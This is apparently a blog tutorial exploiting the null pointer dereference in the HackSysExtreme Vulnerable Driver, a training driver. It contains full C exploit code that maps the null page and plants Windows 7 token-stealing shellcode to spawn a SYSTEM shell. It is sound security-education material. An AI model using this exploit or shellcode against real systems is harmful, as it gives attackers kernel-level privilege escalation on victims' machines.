Windows Kernel Exploitation – Null Pointer Dereference

Today I’m sharing on exploiting the null pointer dereference vulnerability present in the HackSysExtreme Vulnerable Driver.

The Vulnerability

You can view the source from here.
[code language=”C” highlight=”42,58,73″]
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));

// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);

if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}

// Get the value from user mode
UserValue = *(PULONG)UserBuffer;

DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}

#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// ‘NullPointerDereference’ is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");

// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if ‘NullPointerDereference’ is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}
[/code]

As usual, everything is clearly explained in the source. At line 42 the ‘userValue’ is compared with the value ‘0xBAD0B0B0’ and if it fails at line 58 the ‘NullPointerDereference’ value is set to NULL and at line 73 the value ‘NullPointerDereference’ is not validated whether it’s NULL before calling the callback function.

Let’s disassemble and see it closely. As you can see, if the provided ‘MagicValue’ is wrong the value of ‘NullPointerDereference’ is set to NULL to avoid the dangling pointer.

[code language=”C”]
xor esi, esi
[/code]

But in the end, when the callback function is being called the value of ‘NullPointerDereference’ is not being validated weather it’s NULL. Therefor this leads to a BSOD, fortunately there’s an exception handler written to avoid this.

Testing the Vulnerability

I will be using the IOCTL value provided in the header file of this driver.
[code language=”C”]
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
[/code]

I will use the ‘MagicValue’ 0xBAD0B0B0 as the user input.

[code language=”C”]
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

int _tmain(int argc, _TCHAR* argv[]) {
HANDLE hDevice;
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
ULONG MagicValue = 0xBAD0B0B0;

hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
return 1;
}

wprintf(L"[+] Sending IOCTL request\n");

DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
(LPVOID)&MagicValue,
NULL,
NULL,
0,
&lpBytesReturned,
NULL);

CloseHandle(hDevice);

return 0;
}
[/code]

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp

As you can see the value the message “[+] Null Pointer Dereference Object Callback” is printed which means the callback function was successfully executed.

If we pass a wrong ‘MagicValue’ like ‘0xBaadBabe’ we get an exception. Since the exception is handled, BSOD will be prevented.

[code language=”C”]
ULONG MagicValue = 0xBaadBabe;
[/code]

I will place a breakpoint on
[code language=”C”]
call dword ptr [esi+4]
[/code]

Once I trigger the vulnerability with the wrong ‘MagicValue’ we hit our breakpoint. Now the challenge is to allocate our pointer to shellcode at address 0x00000004.

How to allocate a DWORD at 0x4?

Functions such as VirtualAlloc or VirtualAllocEx won’t allow us to allocate memory at a starting address less than 0x00001000. Therefore we will have to use the NTAPI undocumented function ‘NtAllocateVirtualMemory’ to map a null page in user space and after that, we can write the pointer to shellcode at address 0x00000004.

[code language=”C”]
NTSTATUS NtAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
[/code]

https://undocumented.ntinternals.net

Here’s an example code where I allocate the value ‘0x12345678’ at address 0x4.

[code language=”C”]
#include "stdafx.h"
#include <windows.h>

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

int _tmain(int argc, _TCHAR* argv[]) {

PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

if (!NtAllocateVirtualMemory) {
wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
return -1;
}

PVOID BaseAddress = (PVOID)0x1;
SIZE_T RegionSize = 1024;

NTSTATUS ntStatus = NtAllocateVirtualMemory(
GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);

PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
*(PULONG)ShellcodePtr = (ULONG)0x12345678;
}
[/code]
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp

If we check the memory dump we can see that we successfully allocated a DWORD at address 0x4.

Final Exploit

Let’s put everything together and write the pointer to our shellcode to 0x4 and pass a wrong ‘MagicValue’ to trigger the vulnerability.

[code language=”C”]
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Shlobj.h>

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG AllocationSize,
ULONG AllocationType,
ULONG Protect
);

VOID TokenStealingShellcodeWin7() {
__asm {
; initialize
pushad; save registers state

xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current _EPROCESS structure

mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
}

int _tmain(void)
{
HANDLE hDevice;
DWORD lpBytesReturned;
PVOID pMemoryAddress = NULL;
LPCWSTR lpDeviceName = L"\\\\.\\HackSysExtremeVulnerableDriver";
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
ULONG MagicValue = 0xBaadBabe;

hDevice = CreateFile(
lpDeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

wprintf(L"[*] Author: @OsandaMalith\n[*] Website: https://osandamalith.com\n\n");
wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);

if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
return -1;
}

PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

if (!NtAllocateVirtualMemory) {
wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
return -1;
}

PVOID BaseAddress = (PVOID)0x1;
SIZE_T RegionSize = 1024;

NTSTATUS ntStatus = NtAllocateVirtualMemory(
GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE
);

PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
*(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7;

wprintf(L"[+] Sending IOCTL request\n");

DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
(LPVOID)&MagicValue,
NULL,
NULL,
0,
&lpBytesReturned,
NULL);

ZeroMemory(&si, sizeof si);
si.cb = sizeof si;
ZeroMemory(&pi, sizeof pi);

IsUserAnAdmin() ?

CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
L"/T:17",
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
(STARTUPINFO *)&si,
(PROCESS_INFORMATION *)&pi) :

wprintf(L"[!] Exploit Failed!");

CloseHandle(hDevice);
return 0;
}
[/code]

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp

To verify our exploit let’s place a breakpoint on “call dword ptr [esi+4]” and see the memory location 0x4.

Let’s check where it points, and you can see it points to our token stealing shellcode.

W00t! Here’s our root shell ?

[tweet https://twitter.com/Hakin9/status/877941762551037953]

3 thoughts on “Windows Kernel Exploitation – Null Pointer Dereference

Leave a Reply